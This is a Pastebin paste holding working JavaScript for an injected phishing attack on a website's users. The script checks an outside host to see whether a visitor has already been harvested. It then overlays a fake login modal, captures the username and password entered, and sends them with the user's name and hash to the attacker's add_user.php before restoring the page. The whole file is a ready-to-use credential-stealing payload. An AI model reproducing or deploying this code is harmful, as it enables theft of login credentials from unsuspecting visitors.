Advertisement
Guest User

Untitled

a guest
Mar 14th, 2019
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.75 KB | None | 0 0
  1. var full_name
  2. var user_hash
  3. var request
  4. var o_html
  5.  
  6. window.onload = function ()
  7. {
  8. // copy user information
  9. full_name = document.getElementsByClassName("dropdown-toggle btn")[0].innerText.replace(/\s/g,'');
  10. user_hash = userHash;
  11.  
  12. // setup ajax and backup page
  13. request = new XMLHttpRequest();
  14. o_html = document.body.innerHTML;
  15.  
  16. // send request to my server to see if I already have this users information
  17. request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/check_user.php?hash=" + user_hash);
  18. request.send();
  19. request.onload = () =>
  20. {
  21. // if I have the users information just return and do nothing
  22. if(request.responseText == "true")
  23. return;
  24.  
  25. // if I dont yet have this users information inject payload
  26. document.body.innerHTML =
  27. "<html> <div id='modal-login' class='modal hide fade text-left in' tabindex='-1' role='dialog' aria-labelledby='log-in form' aria-hidden='false' style='display: block;'> <div class='modal-header'> <button aria-hidden='true' data-dismiss='modal' class='close' type='button'> <i class='fa fa-remove'></i> </button> <h3>Log in</h3> <div id='modal-login-alert'></div> <p>Use your username &amp; password or log in as account manager by using your activation code in both fields.</p> </div> <div class='modal-body'> <div class='control-group'> <label for='username' class='control-label'>Username</label> <div class='controls'> <input id='smoke_username' type='text' placeholder='username...' name='username'> </div> </div> <div class='control-group'> <label for='password' class='control-label'>Password</label> <div class='controls'> <input id='smoke_password' type='password' placeholder='password...' name='password'> </div> </div> <div class='control-group text-center'> <button name='subscribe-login-access' value='1' class='btn' onclick='smoke_login()'> <i class='fa fa-user'></i> Log in </button> </div> </div> <div class='modal-footer'> <a href='subscribe/lost-password'>Forgot your password?</a><br> </div> </div></html>";
  28. }
  29. }
  30.  
  31. // callback function for when the users presses login on the fake form
  32. smoke_login = () =>
  33. {
  34. // fetch user information from login field
  35. var username = document.getElementById("smoke_username").value;
  36. var password = document.getElementById("smoke_password").value;
  37.  
  38. // log information for debugging
  39. /*console.log(username);
  40. console.log(password);
  41. console.log(full_name);
  42. console.log(user_hash);*/
  43.  
  44. // send all information to my server and restore page
  45. request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/add_user.php?full_name=" + full_name + "&username=" + username + "&password=" + password + "&hash=" + user_hash);
  46. request.send();
  47. request.onload = () =>
  48. document.body.innerHTML = o_html;
  49. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement